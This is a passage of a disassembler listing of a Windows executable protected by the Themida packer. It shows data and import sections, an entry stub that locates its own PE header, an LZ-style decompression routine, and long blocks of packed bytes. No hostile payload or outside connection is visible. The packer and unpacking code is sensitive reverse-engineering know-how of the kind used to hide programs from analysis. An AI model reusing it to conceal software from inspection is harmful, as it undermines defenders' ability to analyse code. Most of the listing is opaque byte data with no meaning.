					; sub_41ADB4+260r ...
dword_4CF018	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_4CF01C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_4CF020	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_4CF024	dd 2420000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_4CF028	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_4CF02C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_4CF030	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_4CF034	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_4CF038	dd 2420758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_4CF03C	dd 2420758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 3F0h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000D1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4D1000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000D2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4D2000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0D2050h, 0D2000h, 3 dup(0)
		dd 0D2079h, 0D200Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000D3000)
; Virtual size			: 000DA000 ( 892928.)
; Section size in file		: 000DA000 ( 892928.)
; Offset to raw	data for section: 000D3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4D3000h
		dd 6EE719EFh, 4C105h, 5FEC9h, 98172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0052D4F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00530856 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00530ACC SIZE 00000059 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4D3086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4D3041
		popa
		jmp	short loc_4D3076
; ---------------------------------------------------------------------------
a70m		db 'Û-70M',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4D3041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4D304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4D306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4D3074

loc_4D306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4D304E
; ---------------------------------------------------------------------------

loc_4D3074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4D3076:				; CODE XREF: start+1Bj
		jmp	loc_4D3265
; ---------------------------------------------------------------------------
		db 3
aJ2		db 'ǹj2',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4D3086:				; CODE XREF: start+8j
		mov	eax, offset loc_52D4F5
		mov	ecx, offset word_4D326A
		push	eax
		push	ecx
		call	sub_4D311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4D3265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4D311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4D3127:				; CODE XREF: sub_4D311B:loc_4D313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4D3132:				; CODE XREF: sub_4D311B+7Aj
					; sub_4D311B+C3j ...
		add	dl, dl
		jnz	short loc_4D313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D313B:				; CODE XREF: sub_4D311B+19j
		jnb	short loc_4D3127
		add	dl, dl
		jnz	short loc_4D3146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3146:				; CODE XREF: sub_4D311B+24j
		jnb	short loc_4D3197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4D3153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3153:				; CODE XREF: sub_4D311B+31j
		jnb	loc_4D3238
		add	dl, dl
		jnz	short loc_4D3162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3162:				; CODE XREF: sub_4D311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D316D:				; CODE XREF: sub_4D311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3178:				; CODE XREF: sub_4D311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3183:				; CODE XREF: sub_4D311B+61j
		adc	eax, eax
		jz	short loc_4D318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4D318D:				; CODE XREF: sub_4D311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3197:				; CODE XREF: sub_4D311B:loc_4D3146j
		mov	eax, 1

loc_4D319C:				; CODE XREF: sub_4D311B:loc_4D31B0j
		add	dl, dl
		jnz	short loc_4D31A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31A5:				; CODE XREF: sub_4D311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D31B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31B0:				; CODE XREF: sub_4D311B+8Ej
		jb	short loc_4D319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4D31E3
		mov	ecx, 1

loc_4D31C0:				; CODE XREF: sub_4D311B:loc_4D31D4j
		add	dl, dl
		jnz	short loc_4D31C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31C9:				; CODE XREF: sub_4D311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D31D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31D4:				; CODE XREF: sub_4D311B+B2j
		jb	short loc_4D31C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D31E3:				; CODE XREF: sub_4D311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4D31F1:				; CODE XREF: sub_4D311B:loc_4D3205j
		add	dl, dl
		jnz	short loc_4D31FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D31FA:				; CODE XREF: sub_4D311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D3205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4D3205:				; CODE XREF: sub_4D311B+E3j
		jb	short loc_4D31F1
		cmp	eax, 7D00h
		jnb	short loc_4D3228
		cmp	eax, 500h
		jb	short loc_4D3223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3223:				; CODE XREF: sub_4D311B+F8j
		cmp	eax, 7Fh
		ja	short loc_4D322B

loc_4D3228:				; CODE XREF: sub_4D311B+F1j
		add	ecx, 2

loc_4D322B:				; CODE XREF: sub_4D311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3238:				; CODE XREF: sub_4D311B:loc_4D3153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4D3259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4D3132
; ---------------------------------------------------------------------------

loc_4D3259:				; CODE XREF: sub_4D311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4D311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4D3265:				; CODE XREF: start:loc_4D3076j
					; start+9Dj
		jmp	loc_52D4F5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4D326A	dw 38E9h		; DATA XREF: start+77o
		dd 153335Ch, 1E33F2BFh,	0FCBF0BE1h, 6A848B24h, 9F01F2FEh
		dd 1A1FFC0h, 5C11C4FFh,	3DE7F23h, 74736552h, 41997261h
		dd 0E92EC570h, 3B84F378h, 1EE17122h, 7052A8BEh,	2FD58F03h
		dd 6EDE4CB5h, 0EE100392h, 656854F0h, 64696D0Eh,	0E8BB1061h
		dd 7B848B35h, 0B898C8EFh, 0C8BFAF42h, 0FB43B821h, 2D3430C1h
		dd 0FE15C231h, 0EE5C0153h, 0AEFE01D0h, 689B3622h, 18D747Dh
		dd 0DC221157h, 8BE37F23h, 60D490C5h, 5D10E1E8h,	6B00ED81h
		dd 89061B33h, 0C210D995h, 13DDB50Dh, 1A618521h,	55BD8300h
		dd 74C01441h, 0E88B390Ch, 93B8E212h, 70DEC21Dh,	0E7244438h
		dd 358593Eh, 0A3E8456Ah, 9A682903h, 0D2078374h,	250A80DFh
		dd 0F40A894Bh, 14E988D5h, 0BEEC0252h
		db 80h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B003459h
; ---------------------------------------------------------------------------
		db 45h
		dd 0D808D848h, 0C789400Eh, 0E67D8108h, 74331D80h, 0F908200Fh
		dd 1024C383h, 4312C3FFh, 361BE1EBh, 0A02661DCh,	0A004C2C9h
		dd 34C48146h, 7202FF7Ch, 8D20A249h, 0A8B8045h, 85C7085Dh
		dd 50502219h, 5D10A8Dh,	411888C3h, 810B4589h, 5D0610BDh
		dd 27E37514h, 47BA8DA1h, 80756064h, 0BB240E8Ah,	0B8805BF4h
		dd 785437ABh, 61D07ED3h, 754B080Fh, 0C3AFD8F7h,	4A464729h
		dd 0F9154623h, 61D11542h, 3AD0D08Ah, 0EEC5FEF0h, 4D05FC45h
		dd 0AD1E04EBh, 3E804646h, 0BAF72940h, 3034B784h, 7FEB0C7Dh
		dd 66F83EC8h, 0F042126Dh, 40F40E65h, 65C14A10h,	0D6A004F0h
		dd 0E01CD1F8h, 28B0C203h, 0E8ADB33h, 0FB80301Ch, 0A0A7266h
		dd 577391Eh, 3379EB9Fh,	0FB611422h, 660A3F0Dh, 0AF1E08B7h
		dd 560AC3A7h, 41181A10h, 460A0B72h, 24066F77h, 5D010C51h
		dd 39F4ECF0h, 28D7D83h,	9B0CB072h, 0B3A576C0h, 0F82620AAh
		dd 0B58D03E7h, 553BA800h, 54820FFCh, 0E0B0BD78h, 2838DFAAh
		dd 700870BAh, 0FC7054B9h, 35E820BDh, 470FFE01h,	0B9FA7549h
		dd 0EE6A6A60h, 310103BBh, 0EB82F10Eh, 8EEC02B6h, 37E08601h
		dd 6551071Ch, 2EFA36C1h, 78268AE7h, 322E99Fh, 1061FA59h
		dd 11DBD7C0h, 21381700h, 0C75093D0h, 5E4F011Ch,	0E5649995h
		dd 0EA76E818h, 702B1260h, 1881A956h, 0F2EBED6Eh, 66705745h
		dd 4B86E000h, 2C625FEAh, 0DB8C33C3h, 0E41CF182h, 0A25EBC67h
		dd 1034CBCCh, 4E390082h, 100F765Bh, 3D1F51B8h, 3B1DD104h
		dd 756E4698h, 0C02E7509h, 0E4EC48A9h, 6509065h,	0C5058468h
		dd 0F3968E05h, 0F0538548h, 29A8C204h, 51B718Ch,	760EE782h
		dd 2BFF61A8h, 80047781h, 0C1341D22h, 3233F984h,	3FBC2075h
		dd 0CC0AEE0Eh, 0E60230EFh, 33EC7141h, 0FFCC7F8Ch, 451940F2h
		dd 604AE9FDh, 52C46200h, 11254D8Ch, 0B1AA8210h,	0A15AAB99h
		dd 56141384h, 825EC1EBh, 8155FEEEh, 9FBC0C08h, 13B9548Ah
		dd 0A5972340h, 0AE90A43h, 0E0A04793h, 34AA59ACh, 670E917Fh
		dd 8E5CDA8Ch, 81FD808Dh, 0EBC05E2h, 1551E45Eh, 0A29185A0h
		dd 0CA0D0B43h, 4D178610h, 0C8E03A8Fh, 941DD626h, 0EA1B0262h
		dd 0BC128110h, 1349DB93h, 8AF923F6h, 0A82CFAD9h, 0EA905D16h
		dd 370A0FE6h, 64E9029Eh, 3F22F107h, 62614990h, 3A88E559h
		dd 77293012h, 0C873C481h, 3E4AB9Ah, 128C00D3h, 99F9E78Ah
		dd 0B2C15248h, 15EA59D4h, 4B323380h, 0ADE0119Eh, 0E3A09600h
		dd 0EFE6FD41h, 69AB0382h, 1A1C1F5h, 5DD243BFh, 8B103414h
		dd 0CEA1B39h, 92B7800Bh, 7BD10039h, 2BA28344h, 77A0BC3Ah
		dd 36FCBF67h, 42435E0h,	191DF860h, 0C021D60Eh, 1A0EDEC8h
		dd 8A102876h, 1F8F81Ah,	41D8E353h, 0E430E781h, 0B2005FF0h
		dd 0E6B638DEh, 90193D8Ah, 3AEF005Ch, 84D08C6Ch,	0BBF405ECh
		dd 0CC02423Eh, 70A4384Dh, 0C3BDDFA1h, 0D88A0D29h, 1738F603h
		dd 7F30C0F2h, 4D82411h,	0F1D300EBh, 460B5F96h, 0E7F94E0Fh
		dd 9B48E0A5h, 70ED25h, 0D40DE047h, 29A7563Dh, 88B1B300h
		dd 46306DFBh, 0E7F2032Bh, 5B0C2245h, 200060C6h,	5D76C382h
		dd 3C8EDh, 0D671FDE4h, 84D1DEDDh, 223E9D06h, 7315612h
		dd 85D0E410h, 36B8C040h, 0FF06C414h, 0ADC2A49Ah, 46190018h
		dd 0A6E8553Dh, 6E06B1DCh, 0B3FBBA09h, 6310FD78h, 36325C9h
		dd 7C0AF998h, 9F2C0008h, 92105BFDh, 87A9883h, 0EE703E00h
		dd 7884A5EAh, 1F350CD7h, 0B84958EBh, 0A465BD00h, 0A09B505Eh
		dd 6C40010h, 1FE28972h,	0D6750E64h, 0E90F0AE8h,	9897DF37h
		dd 3A5333C0h, 160F038Ch, 5018849Dh, 0BA986E69h,	28A7E807h
		dd 0E1B001C2h, 0F937C32h, 9720AC0Ch, 66815EEFh,	8044172Fh
		dd 630DC208h, 79DA450h,	82681205h, 2864E6B4h, 0FAF2B3Ah
		dd 40067E15h, 0C8A22D8Bh, 5E5D07C1h, 6C5768DAh,	7C003751h
		dd 0FF64FC85h, 64DB71Bh, 2361529h, 20C0384Ah, 0FF652889h
		dd 0A15CEC97h, 1C104644h, 2730DD1Eh, 3095A610h,	2EA82F25h
		dd 84052CE1h, 70C63131h, 0DA81E018h, 394A420h, 0FFD1C1CAh
		dd 80B768D9h, 0BA03926Dh, 29144618h, 10826630h,	710C32h
		dd 2ED3111Fh, 0EA0EBD0Bh, 2A98A065h, 0C83B4070h, 62DE1918h
		dd 38ECAE8h, 4E033202h,	810771E8h, 95D63ED3h, 0B2B740E0h
		dd 474B0F85h, 9FE35605h, 29009DE8h, 18B41CF7h, 280FBA7h
		dd 0F3208804h, 0E160A266h, 0DA489783h, 31683196h, 0C8E3B456h
		dd 5A7BA44h, 4E271519h,	72C40421h, 808C00D7h, 11F212CCh
		dd 0FF751Eh, 264A0811h,	26212273h, 0B4AC0Bh, 0B8E5EA93h
		dd 3906F31Bh, 64B5E9C8h, 0E2820DD8h, 83F03614h,	0E9464AE1h
		dd 0CF5100FCh, 0AE9B4C7Dh, 78C04922h, 0F726CA8Fh, 96C73130h
		dd 80FB75B1h, 6B6B131h,	0C02049h, 0BDD02859h, 0A8222638h
		dd 1D36E0A8h, 9CF82A3Dh, 16810DFCh, 6F6E9C7h, 8BCF9080h
		dd 350B96B6h, 0F749B412h, 0BA4D2800h, 5AB1FA1h,	0EF45258Ch
		dd 12E82728h, 20003754h, 0D39A31Bh, 0AB869721h,	0C1B4F871h
		dd 8648F96Fh, 1E19ADA4h, 4060B88Ch, 0EA8828Eh, 3924AC37h
		dd 73005012h, 46DD4D93h, 882A18DBh, 0E9306043h,	8B58524h
		dd 0BDB43283h, 7E303901h, 3B21B99Dh, 68492D38h,	234CF500h
		dd 0CF92DCEEh, 0CFD1628h, 4B56A600h, 36D3D2E1h,	0FEA530ACh
		dd 0C4B95BE9h, 0A8DDC11Bh, 0E62A8368h, 55C87E39h, 16E4DC65h
		dd 0E19C747h, 58D5609Fh, 0B964FE7Fh, 6A07E3C0h,	0E8FE91Dh
		dd 0A651D095h, 5C112801h, 5E1AE8DBh, 0DDAD0281h, 33928615h
		dd 0E8D5F481h, 27F050A3h, 0BA00A87Ah, 0F44BAECBh, 48F782Bh
		dd 0AFDAB3B8h, 1145C76Bh, 401069B4h, 0EE561588h, 0D348D560h
		dd 8227F146h, 0CA40288Fh, 208EC9E3h, 8429A9C9h,	3143A84Ch
		dd 79006D7Dh, 1F9BCA65h, 0CDA7231Bh, 0F04932C8h, 4705F8D4h
		dd 6E942A81h, 7821D00Ch, 9D27402Eh, 81A8E848h, 0CCA0E622h
		dd 248EB7F4h, 4038F0F6h, 25CD82A4h, 220040D6h, 923D6902h
		dd 2F69C70Bh, 80B6D433h, 4867FF98h, 5CA49928h, 207C1F01h
		dd 4C55E9CAh, 81A35080h, 0A8F1726Dh, 0B75A6C00h, 9E10C0FFh
		dd 3B1703C2h, 42F59D2Ch, 0DDC9F688h, 3281D60Ah,	0BF009BCBh
		dd 0EB374614h, 7B390E1Bh, 0A69E4849h, 3E510E8Bh, 0EE9F3AFEh
		dd 0BCA90010h, 0F1306288h, 0D37B6A00h, 0C2E33269h, 7F8C003Ah
		dd 1B90B834h, 0C11E6E65h, 0C040CD96h, 6BF1EB44h, 2C950797h
		dd 423072BFh, 80826FDCh, 988EF6E8h, 7B294760h, 849A9110h
		dd 4F8E2110h, 182A7C14h, 4993EC3Ah, 952804B8h, 2B240151h
		dd 810487FCh, 10C22A24h, 4975B436h, 0DB0574F4h,	1CEC46BBh
		dd 32B0910h, 4D214C20h,	8000A178h, 82341BD6h, 1436CA2Ah
		dd 9503ED7Ch, 80C84839h, 46E2C4C0h, 0BC03EF39h,	0ADE329BEh
		dd 0E6219052h, 0AE32021Eh, 7D30CA9Fh, 0A9031CC6h, 2369F46Ch
		dd 0BE21F096h, 7CDA44C1h, 4600EC91h, 972E0AB2h,	1EF10070h
		dd 54B6D318h, 20C10E39h, 2AAA361Bh, 0A1A48C34h,	0F821F5C5h
		dd 0E48843EAh, 984EACCCh, 0C0292020h, 0DCED8217h, 0A0DB9A03h
		dd 4F28096Ch, 0D420F375h, 0EF92D556h, 2408FB00h, 0A45D1CFCh
		dd 457B0057h, 0DD0BD18Eh, 2124BA34h, 0A8975432h, 9C13EA00h
		dd 9368CDh, 670243E8h, 0D46277AFh, 5050764Ch, 0A34DAC37h
		dd 69800098h, 2D691BAh,	2161412Dh, 0A9982034h, 0F13FA8C0h
		dd 0C274F344h, 207B2A99h, 3911A0CBh, 46137D40h,	7ACC33F3h
		dd 480AD9B6h, 28AD51B9h
		dd 819CEC88h, 0FB4B79CFh, 0BF46EC7Eh, 0F7A02200h, 0B13702D4h
		dd 0AD48A067h, 0C4E281B5h, 58C03A0Ch, 0BA12B282h, 0C6B0A0BEh
		dd 0F160A001h, 574D40EDh, 1719AE63h, 43211CD0h,	0BA831E8Ch
		dd 90058BFh, 82189C6h, 3C054D1Dh, 3F26F1C4h, 107AD444h
		dd 0FCCC9094h, 0CFCA0069h, 35A122BAh, 130394BFh, 49673905h
		dd 8CDC4C3h, 44806820h,	50E57570h, 0CAA7D390h, 88E38500h
		dd 0A0530927h, 0FAE94828h, 0A9693860h, 0AA289701h, 0FD4460B5h
		dd 7FF4008Fh, 39BF9AC8h, 19C0D116h, 4DA888ACh, 2A0A00F0h
		dd 6821AA2Dh, 820111F7h, 16968D85h, 14ECDB43h, 52A07C51h
		dd 5817D875h, 622D00C8h, 81654FABh, 27C97A12h, 2B1AE444h
		dd 6533125Ch, 52280CD4h, 0F8DDC829h, 0F234F620h, 0F8F048EEh
		dd 165E1509h, 7C33CCA0h, 0A4517539h, 1C1C188h, 37D43694h
		dd 0CEE0005Fh, 147FF846h, 18156806h, 0A09AE7h, 212EADC4h
		dd 2B93D6h, 484A25F9h, 82DCDDF6h, 88661C30h, 317E3517h
		dd 6D70FD0Eh, 0BD2040E8h, 15017AAEh, 0A10A21D4h, 687066CBh
		dd 3AA70B9h, 0DB2A68D9h, 487C9038h, 1973F137h, 1445B003h
		dd 9CE846F9h, 882B0281h, 0B9309A95h, 7B1E4021h,	0F0452526h
		dd 8323C21h, 0C82182B8h, 805A4E19h, 0E84BD994h,	1239C09Ch
		dd 0C4FB1B88h, 0CB762400h, 4845AE2Dh, 0B81102F5h, 0AF596EB0h
		dd 502104E0h, 40B62280h, 81000201h, 0C6A2FC19h,	0DDDBA56h
		dd 0A321BF4Ch, 0C1CAF021h, 39644532h, 0E3F12032h, 0DB731D31h
		dd 4E965E03h, 9A78705Bh, 0B98E6136h, 0E41D8160h, 9EA1187Bh
		dd 0B5AEC037h, 2758180h, 0FE41E2F9h, 8C68994Bh,	0A906E939h
		dd 5B221E90h, 2D3B0369h, 0FB8799D9h, 826447A0h,	7C400F00h
		dd 0CBF02A05h, 0B05F01F6h, 0AE150BC3h, 0F382806h, 69793A8h
		dd 1248F686h, 22948132h, 12212DA8h, 64E869EDh, 87F850F4h
		dd 5FC4AE3h, 9CB4AE4h, 28913FD4h, 4024E221h, 0E2821CD0h
		dd 31249444h, 20AF1E10h, 0B7447BC0h, 207090A2h,	5817A829h
		dd 584F1F0Ah, 7C591180h, 74A0D320h, 8090F287h, 702AA8A0h
		dd 60E86840h, 23A1316Fh, 1B02A842h, 754C56E9h, 0F1A08006h
		dd 0CC34C0ADh, 1978C648h, 0A81CB1CAh, 438C245h,	0E9C488C9h
		dd 64422ED2h, 0E9F582Ah, 21EC1C2h, 7D3F5064h, 4CA8C03Bh
		dd 7860B1ADh, 323E699Ch, 0ED609707h, 22004DD6h,	18F63A98h
		dd 405631B8h, 75FD2A86h, 81C445A0h, 427A110h, 0BD8498h
		dd 619CD389h, 3728041h,	815F023Ah, 65ACC10Bh, 0F98864DBh
		dd 243E3860h, 0D080491h, 0FD880535h, 4F855CEh, 34BF0862h
		dd 3523D8E0h, 4DE7C0A0h, 7B5EFD09h, 88E38C2Ah, 0C48249FCh
		dd 511E0C59h, 0A975E56h, 5307D67h, 42CE7C37h, 793B1BD8h
		dd 88C0384Ah, 585D9218h, 86C2980h, 9134220Ch, 7AB41B2Dh
		dd 7C740EFh, 86B8082Ah,	0E9827B5Fh, 0F3AA0C91h,	0AE7909ADh
		dd 0A3B31606h, 0A321E582h, 82C8DF3Ch, 65F3216Dh, 580518ABh
		dd 0A4E0404Bh, 0FF66F544h, 71DF2A31h, 82269E9h,	0BB0AF26h
		dd 38837B56h, 0C8C27C72h, 19AE98C0h, 0DEF1F475h, 41218484h
		dd 0D575C28Fh, 7C7CC34h, 0D13D5DEDh, 0E392E02Eh, 44583048h
		dd 42F61DE0h, 85F8DC94h, 4C021182h, 48A81723h, 627589B8h
		dd 34CFD165h, 357BCC70h, 0C60007E8h, 0AB7CE6B3h, 1B27EE3Fh
		dd 0C16CB9E9h, 0FA3039A1h, 0F9146880h, 0DC5CD2EBh, 61A33358h
		dd 2B101503h, 0CB0480FCh, 0C35FED98h, 4595A41Ch, 6CC0FDA4h
		dd 6D472B28h, 0AF6FA3C2h, 8EAA4869h, 40CF2859h,	0A6D0EFF9h
		dd 44F01224h, 815420E9h, 9C0A3F5Bh, 40C15C39h, 2C81F678h
		dd 432CF246h, 1BF354B8h, 6FC9A1C0h, 0BC84E82Ch,	25FDC94Eh
		dd 3089A54Ch, 0AC3CB5D2h, 0A49715E0h, 6BB32A09h, 7C313C10h
		dd 34314268h, 0F0084256h, 181B0Fh, 8E82EC56h, 3095E8A3h
		dd 6955D0C0h, 7F144821h, 0CEC91429h, 0C02B486Ch, 23D562BCh
		dd 83300C34h, 406032E0h, 64B2FAB8h, 78E32C22h, 382E6134h
		dd 8CB3A997h, 0A90EEF61h, 0B94484F1h, 421A06F2h, 7123EF46h
		dd 36EA400h, 2AB87B58h,	0CB130276h, 0C38B7517h,	70A02462h
		dd 0E9814243h, 2D316C70h, 0DD8281CEh, 5FF16031h, 0A4AB204Ch
		dd 392219BCh, 245630F7h, 8C1379Ch, 6EC38F0Bh, 492878F0h
		dd 0E2271095h, 0F41FE080h, 770071B6h, 0E70F5887h, 0A2BDA1h
		dd 95347A15h, 2F180D0Ah, 0AD5A1700h, 0FBC242C1h, 0BB3D00F7h
		dd 0D8D4E0C0h, 0D20074B6h, 51176648h, 0B1CBB0h,	5835A41Eh
		dd 137ABA23h, 0B36B670Fh, 7E7408Dh, 18BB36AAh, 41A9DEC2h
		dd 0AB004D80h, 0CBC9FF42h, 0FA55F2A7h, 0CFEF00C7h, 1ADB2F23h
		dd 35009158h, 3CF838D2h, 0E2DD0A29h, 1DB70009h,	42AA5C7Eh
		dd 62E3C9E5h, 43FA480h,	78F854EFh, 0B45EC904h, 0D880FF3Ch
		dd 0E9023B2h, 0F507C7E0h, 8D672E8Fh, 0E72720F4h, 9300AA39h
		dd 0A6DE0DC6h, 6720A494h, 0FF1640D2h, 0ADA31040h, 0C800D881h
		dd 0DF75D01Ah, 0B386CAh, 65080299h, 11E8359Ah, 0B0AD3908h
		dd 0B25C0FB6h, 0FC3DEA28h, 52377800h, 3A1FD023h, 665A00ACh
		dd 39BEE405h, 0C23E48E6h, 80D638BDh, 6EB421A4h,	1F43DB2h
		dd 0F0B0BBDEh, 30543777h, 9491C138h, 7E6ED075h,	1BAE8E1Fh
		dd 40CEB14Eh, 52D8A6ADh, 18D0001Ch, 0A81ACA36h,	0E4002791h
		dd 0B83BE3FBh, 0F225C0h, 0D27BA612h, 3E0FB565h,	0A109CE00h
		dd 0C732901Eh, 6C0500E0h, 0AB53CB25h, 1200565Ah, 0E4869DECh
		dd 1EE230Fh, 0C87BA594h, 800CAC5Bh, 0EFA2BF40h,	50D8A4h
		dd 3217F3E0h, 4C5F8DA6h, 3FE42B0Eh
		db 0AAh, 40h
word_4D4152	dw 0FE8h		; DATA XREF: ___:off_42E644o
		dd 12A934h, 5C832DA3h, 0AB3E4258h, 82A5BD3Fh, 0D650E6A4h
		dd 578CCD29h, 79F0F7E7h, 0C04D77h, 0BCB0F417h, 0E57E19B2h
		dd 0D2D69401h, 86A82D14h, 8EBBF8h, 89F83EE9h, 0A9E17EC0h
		dd 6FB70900h, 0D0B58A77h, 0A579F9h, 0DDAE1DAAh,	250D1454h
		dd 6CB07500h, 0BB3F4C30h, 8DE80090h, 0D6E0E607h, 2D00A798h
		dd 0DAD5ED3h, 760C9AEBh, 2E74035Dh, 16D00795h, 5983E1A8h
		dd 394C3Ch, 0E43EE8FBh,	1ADE2BFh, 0E02DA8D8h, 0F043B460h
		dd 0A50010A1h, 52B042F2h, 574BB16h, 6671DE76h, 0F3AC9097h
		dd 0C0AC635h, 88331423h, 0FDDF0448h, 0F3BE5F00h, 7E6516Bh
		dd 0C30384F5h, 3302F13Fh, 0B0344A52h, 0F578EBh,	2126196h
